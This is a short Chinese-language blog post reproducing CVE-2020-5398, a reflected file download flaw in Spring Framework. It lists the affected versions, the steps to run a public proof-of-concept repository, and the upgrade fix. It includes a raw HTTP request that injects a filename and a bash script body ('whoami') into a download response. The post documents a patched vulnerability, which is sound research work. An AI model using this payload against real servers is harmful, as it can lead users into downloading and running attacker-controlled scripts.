CVE-2020-5398-Spring MVC的RFD(反射文件下载)复现

漏洞描述:

于当地时间1月16日, Pivotal Software(Spring系列)官方发布 Spring Framework 存在 RFD(反射型文件下载漏洞)的漏洞报告,此漏洞为攻击客户端的漏洞,官方将漏洞严重程度评为高。报告指出,当响应中设置了“Content-Disposition”头且filename属性是用户可控时容易受到RFD攻击。攻击应满足以下所有条件才可成功:
1.header使用org.springframework.http.ContentDisposition来预备
2.文件名是通过ContentDisposition.Builder#filename(String) 或 ContentDisposition.Builder#filename(String, US_ASCII)来设置。
3.文件名(包括文件名后缀)为用户可控。
4.攻击者已将下载的响应内容注入恶意命令。
攻击者可利用RFD漏洞,结合社工等方式,让用户下载一个恶意文件并执行,从而危害用户的终端安全。
影响范围:
Spring Framework 5.2.0 to 5.2.2,5.1.0 to 5.1.12,5.0.0 to 5.0.15

漏洞复现:

首先
git clone https://github.com/motikan2010/CVE-2020-5398.git
运行
./gradlew bootrun

poc:
GET /?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Awhoami%27%20--dump-header%20- HTTP/1.1
Host: 192.168.248.129:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

3修复建议:

请受影响的用户升级至 Spring Framework 5.2.3,5.1.13 或 5.0.16 版本。

posted @ 2020-04-14 20:18  Sylon  阅读(5721)  评论(0编辑  收藏  举报
Live2D